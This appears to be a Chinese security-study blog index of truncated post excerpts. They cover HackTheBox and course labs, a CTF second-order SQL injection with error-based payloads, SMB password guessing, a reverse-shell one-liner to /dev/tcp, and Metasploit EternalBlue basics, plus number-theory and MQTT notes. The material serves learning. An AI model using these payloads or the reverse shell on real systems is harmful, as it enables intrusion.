lab-hackthebox-Three-rce
首先连接到openvpn,然后进行nmap扫描
1234567891011121314sudo nmap -sS -n -p- --open --min-rate=5000 10.129.253.132得到结果Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-21 14:07 CSTStats: 0:00:03 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth ScanSYN Stealth Scan Timing: About 21.50% done; ETC: 14:08 (0:00:11 remaining)Stats: 0:00:10 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth ScanSYN Stealth Scan Timing: About 71.01% done; ETC: 14:08 (0:00:04 remaining)Nmap scan report for 10.12 ...
二次注入复习
[[RCTF2015]EasySQL对于本题,二次注入,就是先注入,后执行,第一次注册用户名的时候,把注入语句放进去,再修改密码的时候,它会执行我们的SQL语句,产生报错信息,即成功。注册的时候:
1test"^updatexml(1, concat(0x7e, (select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))), 1)#
异或注入,在本题中,就是指,前面test”是0,只要后面查询到,整体就是1,就通过,所以可以报错。
查询出表明有flag,再查询列名
1test"^1, concat(0x7e, (select(group_concat(column_name))from(information_schema.columns)where(table_name='flag'))), 1)
结果查出一个假的flag。
那我们也看一下这个flag字段中有什么:
1test"^updatexml ...
lab-11-windows-security
第一题首先我们连接到靶场vpn,通过先配置ssh config然后连接到ivy
12sshuttle -r ivy 10.176.132.0/24连接成功之后就到了对应的网段了。
之后使用nmap扫描靶机。
1nmap -sS -Pn -n --open 靶机ip
crackmapexec爆破smb密码
1crackmapexec smb 10.176.132.96 -u WIN-I622JU6TRIV -p spring#当然我这里直接猜出来了,应该使用字典。
之后使用smb连接
1smbclient //10.176.132.96/dev -U WIN-I622JU6TRIV%spring
这是基本连接格式要注意。
连接成功。
当然可以用以下来连接
1smbmap -H 10.176.132.96 -u guest -p "" -d . #这是采用默认目录和默认工作组来连接。
显示出共享目录权限和信息
然后
1smbclient //10.176.132.96/Users -U guest%"" -m SMB2
登陆即可。
二次剩余
Quadratic Residue我们说Bob如何来决定一个给定的数a是一个模p的二次剩余?我们说Alice计算$1222^2 (mod\ 1223)$可以只计算$611^2(mod\ 1223)$因为$a^2 \equiv (p-a)^2 (mod\ p)$所以,对于大于模数一半的数,我们都可以通过先前的$(p-a)^2(mod\ p)$来得到,这样就节省了一半时间。
::: PropositionProposition 1. 设p是一个奇素数,则有: (a)两个模p的二次剩余的积还是模p的二次剩余。 (b)两个模p的非二次剩余的积是模p的二次剩余。 (c)模p的二次剩余和模p的非二次剩余的积是模p的非二次剩余。:::
::: proofProof.我们其实可以很简单的证明(a),(b)但是我们这里用了一个非常巧妙的办法同时证明三个条件。假设g是模p的原根。这也就意味着g的幂$1,g,g^2,\cdots,g^{p-2}$都是互不相同的。那么g的多少次幂可以生成一个二次剩余呢?显然当$m = 2k$时,m是偶数,所以$g^m \equiv (g^k)^2$是一个平方数,可以生成二次剩 ...
离散对数
离散对数第一个被Diffie和Hellman公布的公钥密码系统就是基于离散对数的。在接下来的内容,首先说明我们会继续使用记号$\mathbb{F}_p$或者是$\mathbb{Z}/p\mathbb{Z}$来表示p域,用$\mathbb{F}_p$表示时我们使用等号,用$\mathbb{Z}/p\mathbb{Z}$表示时我们使用同余号。首先我们复习原根,我们知道对于一个大素数p,存在原根g,使得$\mathbb{F}_p$中的每个非零元素都由g的幂产生。等价地,如下列表:
1, g, g^2, g^3, \dots, g^{p-2} \in \mathbb{F}_p^*是$\mathbb{F}_p^*$在某顺序下的所有元素。
::: DefinitionDefinition 1.我们设g是$\mathbb{F}p$的一个原根并且设h是$\mathbb{F}_p$的一个非零元素。那么解决离散对数问题就是去找到一个指数x使得 g^x = h成立。x就叫做h相对于g的离散对数,记为$\log{g}(h)$。:::
::: RemarkRemark 2.在数论中,离散对数也被称作索引,记为$ ...
MQTT的学习与搭建
看了一个澳国立的项目,感觉中规中矩,练习强度很好,MQTT是物联网领域非常通用的协议。用来非同步传输消息,因同步传输可能出现网络收敛。那么我们来看看MQTT的1工作机制
MQTT工作流程MQTT有三个部分,分别为subscriber, broker, publisher。这三个部分我们可以理解为client, proxy, server。其实这个类比真的很恰当。
只不过他们最大的区别就是socket连接为TCP同步传输,而我们的MQTT协议是异步传输,可以由broker来控制。
subscriber用来订阅信息,也就是在发送的信息前面加个标头topic,叫做主题,接受信息的时候,只能接收publisher公布的标头与前面topic相吻合的信息。注:订阅的消息有Qos的性质,也就是可以订阅不同服务质量的信息。
QOS在MQTT中分为四种:
0:表示最多一次
1:至少一次
2:一次
3:预留
broker用来做中间人,也就是代理服务器。接收来自subcriber的订阅,然后等待publisher端的发布,一旦发布相同topic,broker就把此消息发回给subscriber,并且根据订阅 ...
阶,原根
计算逆的第二种方式费马小定理和快速幂算法提供给我们第二种计算模p的逆的方式,即
a^{-1} \equiv a^{p-2} \mod p$$虽然我们没见过这个式子,但是经过费马小定理的学习,
你应该也能看出这显然是正确的,因为 $$a^{-1}a \equiv a^{p-2}a \mod p1 \equiv a^{p-1} \mod p也就是说这可以代替了扩展欧几里得算法,并且可以再用快速幂算法减少时间复杂度。我们来看一个例子
::: ExampleExample 1. *考虑$m = 15485207$, 用我们的快速幂算法,不难得出
2^{m - 1} \equiv 2^{15485207 - 1} \equiv 4136685\mod 15485207我们并没有得到1,看起来费马小定理对于$m = 15485207$好像不对了。其实并不是,费马小定理告诉我们,当$m$是素数时我们才会得到1,那么就是说15485207并不是素数。*:::
我们证明出了m不是一个素数,但是并没有得到它的因子,这就引出了正题:阶。
阶::: DefinitionDefinition 1 (阶的定义). ...
PHP常用disabled_function的练习
PHP常用系统函数12345678910chdir() Changes the current directorychroot() Changes the root directoryclosedir() Closes a directory handledir() Returns an instance of the Directory classgetcwd() Returns the current working directoryopendir() Opens a directory handlereaddir() Returns an entry from a directory handlerewinddir() Resets a directory handlescandir() Returns an array of files and directories of a specified directory
123456789101112debug_backtrace() Generates a backtracedebug_print_backtrace() Pr ...
linux端口转发基础(0<&1的详细解释)
bash -i表示打开一个交互式的shell
如图
shell会变亮,那么有什么区别呢,可以查看当前shell的模式,好像变亮了。
1234567891011echo $$ 返回登录shell的PIDecho $? 返回上一个命令的状态,0表示没有错误,其它任何值表明有错误echo $# 返回传递到脚本的参数个数echo $* 以一个单字符串显示所有向脚本传递的参数,与位置变量不同,此选项参数可超过9个echo $! 返回后台运行的最后一个进程的进程ID号echo $@ 返回传递到脚本的参数个数,但是使用时加引号,并在引号中返回每个参数echo $- 显示shell使用的当前选项echo $0 是脚本本身的名字echo $_ 是保存之前执行的命令的最后一个参数echo $1 传入脚本的第一个参数echo $2 传入脚本的第二个参数
我们使用echo $-
在bash -i的情况下:
在非bash -i的情况下:
模式的名称不同。
我们分析一个反弹shell的命令
1bash -i >& /dev/tcp/192.168.3.104/8888 0>&1
...
Metasploit 复习-永恒之蓝漏洞
打开数据库 service postgresql start
然后打开msfocnsole后可以查看数据库连接状态
我们可以来学习一下基本命令
123456789101112131415banner:显示一个令人敬畏的metasploit横幅toggic color:切换颜色connect :与主机通信handler:监听back:返回上一级unset:取消设置的选项background:当前操作在后台运行info:显示一个或者多个模块的信息
我们用show来查看都有哪些模块
比如exploits就是漏洞利用模块,比如包含ms17_010漏洞,auxiliary为辅助模块,payloads为载荷。
1show all显示所有模块
如果是exploits模块,我们看顶上的分类,分别为漏洞等级,检查能否使用,描述(一般为应用场景)
如果是payloads模块就是 操作系统/类型/名称
然后info 可以查看模块详细信息
我们可以用search来寻找想要的模块,search命令
12345678910111213141516171819202122232425262728293 ...